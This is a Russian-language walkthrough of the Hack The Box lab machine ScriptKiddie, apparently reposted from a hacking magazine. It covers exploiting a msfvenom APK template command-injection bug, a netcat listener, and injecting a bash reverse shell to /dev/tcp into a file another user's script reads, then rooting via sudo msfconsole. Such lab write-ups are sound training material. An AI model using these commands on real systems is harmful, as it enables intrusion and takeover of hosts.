Хакер - HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост

Хакер - HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Закрепление
  • Продвижение
  • Локальное повышение привилегий

В Metasploit Framework тоже быва­ют уяз­вимос­ти, и в этой статье мы про­экс­плу­ати­руем одну из них. Через баг в поль­зователь­ском скрип­те мы зах­ватим дру­гого поль­зовате­ля, что при­ведет к повыше­нию при­виле­гий. Все это и кое‑что еще — в рам­ках про­хож­дения лег­кой машины ScriptKiddie с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

IP машины — 10.10.10.226, добав­ляем его в /etc/hosts:

10.10.10.226 scripkiddie.htb

И ска­ниру­ем пор­ты моим тра­дици­онным скрип­том:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

От­кры­тых пор­та два: 22 (служ­ба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэто­му на SSH пока что делать нечего. Будем «про­бивать» порт 5000, где нас встре­чает стра­ница с обе­щающим заголов­ком k1d'5 h4ck3r t00l5. Уже инте­рес­но!

Стра­ница k1d'5 h4ck3r t00l5

Стра­ница поделе­на на области, в каж­дой из которых есть поля для вво­да. Пер­вое поле при­нима­ет IP-адрес для ска­ниро­вания 100 пор­тов с помощью Nmap, вто­рая область слу­жит для генери­рова­ния наг­рузки Meterpreter с помощью MSFvenom и тре­бует ука­зать опе­раци­онную сис­тему ата­куемо­го хос­та и IP хос­та для отсту­ка, при этом есть воз­можность исполь­зовать файл шаб­лона. В пос­ледней области прос­то выпол­няет­ся поиск экс­пло­итов с помощью ути­литы searchsploit.

При­мер наг­рузки, сге­нери­рован­ной с помощью веб‑сер­виса

ЗАКРЕПЛЕНИЕ

Здесь уже сто­ит подумать о том, как получить RCE. Есть два пути:

  • тес­тирова­ние полей на воз­можность инъ­екций команд ОС, так как вве­ден­ные дан­ные будут переда­ны как аргу­мент к соот­ветс­тву­ющей прог­рамме в коман­дной стро­ке;
  • тес­тирова­ние фор­мы заг­рузки фай­ла.

Так как тес­тирова­ние вто­рого вари­анта зай­мет мень­ше вре­мени, сра­зу нач­нем с него. Заг­рузка фай­лов .php и тому подоб­ных резуль­татов не дала, поэто­му перей­дем к заг­рузке более легитим­ных фай­лов — .apk. На сер­вере исполь­зует­ся Metasploit Fraimwork, и в нем, что неуди­витель­но, тоже сущес­тву­ют уяз­вимос­ти. Куда забав­нее тот факт, что для MSF есть модули, которые сами эти уяз­вимос­ти и экс­плу­ати­руют.

Для мно­гих типов наг­рузок, которые пре­дос­тавля­ет msfvenom, он поз­воля­ет поль­зовате­лю ука­зать шаб­лон (опция -x). Даже если ты такую опцию не исполь­зуешь, msfvenom все рав­но будет при­менять свой шаб­лон. Но в модуле, который генери­рует наг­рузку с исполь­зовани­ем шаб­лона фай­ла APK, есть уяз­вимость, свя­зан­ная с внед­рени­ем команд. MSF генери­рует наг­рузку сле­дующим обра­зом:

  1. В фун­кции parse_orig_cert_data (ис­ходный код) исполь­зует­ся keytool для извле­чения поля Owner из под­писи APK, а так­же мет­ки вре­мени.
  2. В фун­кции backdoor_apk исполь­зует­ся keytool для генери­рова­ния нового клю­ча под­писи и самоза­веря­юще­го сер­тифика­та на осно­ве све­дений, извле­чен­ных из фай­ла APK (ис­ходный код).
  3. Да­лее в той же фун­кции backdoor_apk про­исхо­дит де­ком­пиляция APK-фай­ла, при­меня­ется син­такси­чес­кий ана­лиза­тор XML для ана­лиза фай­ла манифес­тавнед­рение полез­ной наг­рузкипе­рес­борка APK, при­меня­ется jarsigner для под­писи фай­ла APK.

Уяз­вимость зак­люча­ется в исполь­зовании ути­литы keytool на вто­ром шаге, так как про­исхо­дит выпол­нение через коман­дную стро­ку.

keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'

При этом зна­чение orig_cert_dname было получе­но на эта­пе 1, при ана­лизе исходно­го APK и извле­чении поля Owner из под­писи APK. Эта коман­да переда­ется в фун­кцию Open3.popen3(), которая, если исполь­зует­ся все­го один параметр, работа­ет, как и фун­кция system(). Это дает воз­можность инжектить коман­ды ОС, если поле Owner из под­писи APK будет содер­жать оди­нар­ную кавыч­ку и далее кон­вей­ер команд коман­дной стро­ки, завер­шающий­ся сим­волом ком­мента­рия (#).

Metasploit Framework поз­воля­ет нам соз­дать шаб­лон APK с уже встро­енным бэк­дором. Для это­го исполь­зуем модуль

exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

А в качес­тве парамет­ров нуж­но ука­зать лишь локаль­ные адрес хос­та и порт.

msfconsole

use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

set LHOST [ip]

set LPORT [port]

run

Ге­нери­рова­ния шаб­лона фай­ла APK с бэк­дором

Так как мы будем выпол­нять бэк­коннект, то сна­чала необ­ходимо соз­дать лис­тенер, который будет при­нимать соеди­нение. Я буду исполь­зовать rlwrap и netcat.

apt install rlwrap

rlwrap nc -lvp [port]

А теперь заг­ружа­ем сге­нери­рован­ный файл и получа­ем бэк­коннект.

Заг­рузка сге­нери­рован­ного фай­ла на сер­вер
Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Ра­ботать через обыч­ную обо­лоч­ку удоб­нее, поэто­му забира­ем поль­зователь­ский ключ SSH и уже с ним перепод­клю­чаем­ся. Для раз­ведки на хос­те могут помочь скрип­ты PEASS — они есть как для Windows, так и для Linux. Берем вари­ант для Linux:

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

И заг­ружа­ем его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью python прос­той веб‑сер­вер. Пос­ле выпол­нения дан­ной коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

В выводе получим очень мно­го информа­ции, поэто­му важ­но выб­рать нуж­ное, в дан­ном слу­чае — дос­тупные фай­лы в домаш­них дирек­тори­ях дру­гих поль­зовате­лей. А еще важ­нее, что там нашел­ся скрипт на Bash под наз­вани­ем scanlosers.sh.

Фай­лы в домаш­ней дирек­тории поль­зовате­ля pwn
Со­дер­жимое фай­ла scanlosers.sh

Он дела­ет сле­дующее: откры­вает файл /home/kid/logs/hackers, берет отту­да IP-адре­са и переда­ет в Nmap. При этом мы име­ем пра­во записи в дан­ный файл.

Пра­ва на файл hackers

Ма­нипу­лиро­вание дан­ными, которые далее исполь­зуют­ся в дру­гом скрип­те, поз­волит нам вновь про­вес­ти ата­ку OS command injection. Давай пос­мотрим, как час­то запус­кает­ся этот файл. Для отсле­жива­ния про­цес­сов будем исполь­зовать pspy64. Заг­рузим его на хост тем же спо­собом, что и linpeas, а потом выпол­ним. В выводе находим отоб­ражение запус­ка най­ден­ного скрип­та, но, что более инте­рес­но, он запус­кает­ся в кон­тек­сте поль­зовате­ля с UID 1001, а это поль­зователь pwn.

# Скачиваем на локальный хост

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

# Затем на удаленный

wget http://[ip_локального_хоста]:8000/pspy64

chmod +x pspy64

./pspy64

Вы­вод ути­литы pspy64

Вы­ходит, зах­ватить дру­гого поль­зовате­ля сов­сем лег­ко. Давай запишем в файл стро­ку, которой мы завер­шим коман­ду Nmap, выпол­ним реверс‑шелл и заком­менти­руем оставши­еся сим­волы (не забыва­ем акти­виро­вать лис­тенер).

;/bin/bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1' #

Но­вое содер­жимое фай­ла hackers

Пос­ле сох­ранения уви­дим бэк­коннект.

Бэк­коннект от име­ни поль­зовате­ля pwn

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пер­вым делом про­веря­ем наибо­лее веро­ятные мес­та повыше­ния при­виле­гий: нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID, прос­лушива­емые на локал­хосте пор­ты. Но нам везет еще на пер­вом шаге: при вво­де коман­ды sudo -l.

Нас­трой­ки sudoers

В нас­трой­ках sudoers про­писан при­виле­гиро­ван­ный запуск msfconsole без пароля (NOPASSWD). Выходит, не нуж­но даже ничего при­думы­вать, так как кон­соль msf дает нам шелл.

sudo /opt/metasploit-framework-6.0.9/msfconsole

Флаг рута

А это зна­чит, что машина зах­вачена и мы выпол­нили задачу.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page